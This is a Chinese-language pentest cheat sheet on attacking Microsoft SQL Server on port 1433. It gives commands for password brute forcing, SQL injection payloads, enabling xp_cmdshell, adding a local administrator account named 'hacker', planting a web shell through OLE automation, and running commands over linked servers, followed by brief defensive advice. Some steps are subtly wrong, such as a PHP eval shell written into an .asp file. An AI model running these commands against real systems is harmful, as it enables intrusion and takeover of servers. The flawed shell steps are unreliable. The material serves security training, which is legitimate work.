---
title: "1433 - Mssql"
weight: 1433
date: "2026-03-08T23:34:34+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **Mssql** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

> ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

## 漏洞概述

MSSQL（Microsoft SQL 服务器）是微软的关系型数据库，常见漏洞包括弱口令、提权、命令执行等。

**影响版本**: 所有版本  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 信息收集

### 端口扫描

```bash
# Nmap 扫描
nmap -sV -p 1433 <TARGET_IP>

# MSSQL 枚举脚本
nmap --script ms-sql-* <TARGET_IP>
```

### 版本识别

```bash
# Nmap 脚本
nmap --script ms-sql-info <TARGET_IP>

# 直接连接
mssqlclient.py user@<TARGET_IP>
```

---

## 漏洞利用

### 方法 1: 弱口令爆破

```bash
# Hydra 爆破
hydra -l sa -P /usr/share/wordlists/rockyou.txt mssql://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M mssql

# crackmapexec
crackmapexec mssql <TARGET_IP> -u sa -p password
```

### 方法 2: 未授权访问

```bash
# 使用 impacket
mssqlclient.py sa@<TARGET_IP>

# 查询版本
SELECT @@version;

# 查询用户
SELECT name FROM sysusers;
```

### 方法 3: SQL 注入

```sql
-- 联合查询
' UNION SELECT 1,2,3--

-- 报错注入
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

-- 时间盲注
' WAITFOR DELAY '0:0:5'--
```

---

## 提权路径

### xp_cmdshell 执行命令

```sql
-- 启用 xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

-- 执行命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';

-- 添加用户
EXEC xp_cmdshell 'net user hacker Password123! /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
```

### OLE 自动化对象

```sql
-- 启用 OLE
EXEC sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;

-- 创建文件
DECLARE @o int;
EXEC sp_oacreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_oamethod @o, 'CreateTextFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_oamethod @o, 'Write', NULL, '<?php @eval($_POST["cmd"]);?>';
```

### 备份提权

```sql
-- 备份数据库到 Web 目录
BACKUP DATABASE master TO DISK='C:\inetpub\wwwroot\shell.bak'
WITH FORMAT,
MEDIANAME='WebShell',
NAME='Full Backup';
```

---

## 内网渗透

### 链接服务器

```sql
-- 查看链接服务器
SELECT * FROM sys.servers;

-- 通过链接服务器执行命令
EXEC('xp_cmdshell ''whoami''') AT [LinkedServer];
```

### 信任链利用

```sql
-- 利用数据库用户权限提升
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
```

---

## 防御建议

1. **禁用 xp_cmdshell**
   ```sql
   EXEC sp_configure 'xp_cmdshell',0;
   RECONFIGURE;
   ```

2. **强口令策略**
   - 最小长度 14 字符
   - 包含大小写、数字、特殊字符

3. **最小权限原则**
   - 禁用 sa 账户
   - 使用专用账户

4. **启用审计**
   - 记录登录尝试
   - 监控异常查询

5. **定期更新**
   - 安装最新安全补丁

---

## 参考链接

- [HackTricks - 1433-mssql](https://book.hacktricks.wiki/en/network-services-pentesting/1433-mssql.html)

---

---

---

### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="1433"
```

#### Shodan

```bash
# Shodan 搜索语法
port:1433
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:1433
```

---

## 📖 参考资料

- [HackTricks - 1433-mssql](https://book.hacktricks.wiki/en/network-services-pentesting/1433-mssql.html)

